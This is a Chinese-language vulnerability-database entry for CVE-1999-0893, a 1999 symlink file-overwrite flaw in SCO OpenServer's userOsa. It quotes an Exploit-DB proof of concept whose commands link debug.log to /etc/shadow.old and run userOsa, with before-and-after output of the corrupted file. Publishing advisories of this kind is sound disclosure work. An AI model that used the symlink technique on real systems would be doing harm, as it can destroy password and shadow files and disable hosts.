CVE-1999-0893
CVSS2.1
发布时间 :1999-10-11 00:00:00
修订时间 :2008-09-09 08:36:08
NMCOE    

[原文]userOsa in SCO OpenServer allows local users to corrupt files via a symlink attack.


[CNNVD]SCO OpenServer userOsa损坏文件漏洞(CNNVD-199910-027)

        SCO OpenServer中的userOsa存在漏洞。本地用户通过一个符号链接攻击去损坏文件。

- CVSS (基础分值)

CVSS分值: 2.1 [轻微(LOW)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0893
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0893
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199910-027
(官方数据源) CNNVD

- 其它链接及资源

- 漏洞信息

SCO OpenServer userOsa损坏文件漏洞
低危 未知
1999-10-11 00:00:00 2005-05-02 00:00:00
本地  
        SCO OpenServer中的userOsa存在漏洞。本地用户通过一个符号链接攻击去损坏文件。

- 公告与补丁

        

- 漏洞信息 (19542)

SCO Open Server <= 5.0.5 'userOsa' symlink Vulnerability (EDBID:19542)
sco local
1999-10-11 Verified
0 Brock Tellier
N/A [点击下载]
source: http://www.securityfocus.com/bid/701/info

Under certain versions of SCO OpenServer there exists a symlink vulnerability which can be exploited to overwrite any file which is group writable by the 'auth' group. The problem in particular is in the the /etc/sysadm.d/bin/userOsa executable. When given garbage output the program will write out a debug log. However, the program does not check to see if it overwriting a currently existing file nor wether it is following a symlink. Therefore is it possible to overwrite files with debug data which are both in the 'auth' group and are writable by the same group. Both /etc/shadow & /etc/passwd fall into this category. If such an attack were launched against these files the system would be rendered unusable.

scohack:/tmp$ ln -s /etc/shadow.old debug.log
scohack:/tmp$ /etc/sysadm.d/bin/userOsa
bah
connectFail {{SCO_LOCAL_PIPE_ERR_INVALID_CONNECT_REQ {Invalid Connect
Request: bah}}}
Failed to listen to client
Failure in making connection to OSA.
scohack:/tmp$

-----

BEFORE EXPLOIT:
scohack:/# l /etc/shadow.old
-rw-rw---- 1 root auth 26 Oct 11 20:08 /etc/shadow.old

AFTER EXPLOIT (note the file size):
scohack:/# l /etc/shadow.old
-rw-rw---- 1 root auth 177 Oct 11 20:10 /etc/shadow.old

scohack:/# cat /etc/shadow.old
>>> Debug log opened at Mon Oct 11 03:10:04 PM CDT 1999 by <PID=11604>
<<<
SendConnectFail(connectFail {{SCO_LOCAL_PIPE_ERR_INVALID_CONNECT_REQ
{Invalid Connect Request: bah}}})

scohack:/# 		

- 漏洞信息

7632
SCO OpenServer userOsa Symlink Arbitrary File Overwrite Local Privilege Escalation
Local Access Required Race Condition
Loss of Integrity Patch / RCS
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

- 时间线

1999-10-11 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, SCO has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站